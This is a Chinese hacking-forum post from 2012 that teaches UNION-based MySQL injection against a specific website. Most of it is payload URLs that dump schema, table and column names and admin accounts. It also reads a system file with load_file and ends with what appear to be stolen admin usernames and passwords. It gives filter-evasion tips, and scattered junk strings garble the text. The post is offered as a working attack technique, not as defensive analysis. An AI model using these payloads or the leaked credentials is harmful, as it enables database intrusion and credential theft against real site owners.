找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2160|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似4 f& e9 N/ b5 |$ B; p) [
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人" Z2 _" B) J, d" O
9 {- \4 B1 I6 y3 P1 N  i! Z7 g

7 q. z2 Q- |- B0 o, A+ w8 x优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
9 M  s; ^/ T. ?4 ]6 ]
7 E) f  M! e) J+ _; j缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...) ]3 [! r  ~! p& v$ t2 R& ?# z
  A  i" Q! c7 l1 \7 X* B
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示5 h. S8 f! o* l* f3 T0 l! P# @3 x
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
' x1 S7 E$ N* ~5 j4 _7 B/ D4 K
4 t( R2 P3 D- T' @$ W' g: ohttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17, _& X* ]. w# ^) E

9 |) t0 {- ^  v- U5 X/ N读出所有库:
6 X, n2 ]4 v3 q" K# g' {http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
: F/ [* S% \3 I- v2 u# K. j
8 a, m+ ^8 C( m# ?$ v6 }* r, x  L
6 i* h6 ^' Y1 _: ~! ~$ o
7 L! [' T, {2 G2 w  k- x! A% t读出所有表:
) a- F$ l8 \; C7 n9 U4 @) ohttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()# C; o: G! @9 v! `; p- v
5 A4 h1 a" O  l' v# }
读出所有表字段:2 e- |, z6 e8 F0 e) q5 Y1 Q8 ]
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)) k) r1 ?" |7 y  I6 ?
*/ (97,100,109,105,110)为admin的ascii码 依次类推
8 u# F* ?1 Z% l/ m- Y; j& g; z
- z  v7 X; X* ?读出所有表字段里的内容:
# J1 a" F0 p- F! Z- H% l* A! uhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
4 a3 Q# W+ g0 u( ?" ?7 Q9 c1 |5 S6 J& z; X9 _1 K9 R8 B; w7 l9 }
4 e$ d! T) T* q7 W

4 v: }( G* K+ X& H5 a$ `8 v. U9 M: A' s6 g2 I/ N' i
1 c/ k* C- |9 K! U3 v1 E
- f3 G- N/ i" d& N# w
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
  t" i; u6 g7 `( V9 {4 ?0 p0 {, T% e% \1 g

' w5 J5 K4 L6 ?0 ~. I4 Mhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
3 p3 ]& B- `* p8 K4 B: a" x. I& s+ G, |/ y3 m! d
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23/ x( U8 R# q% y# r9 o

6 e1 ?# l6 |- V& P$ M4 C0 b, V( a* G& g5 H& R+ T
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%232 N' i; f8 f4 M$ e) }8 u

% S! ^/ c- {0 {' T: h+ n' ?
' l, u; C5 W8 u; [* @! C4 m2 n        webmaster:dzb521123,simlab:simadmin20043233
! q9 p+ @3 s" P6 ~" X1 B3 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表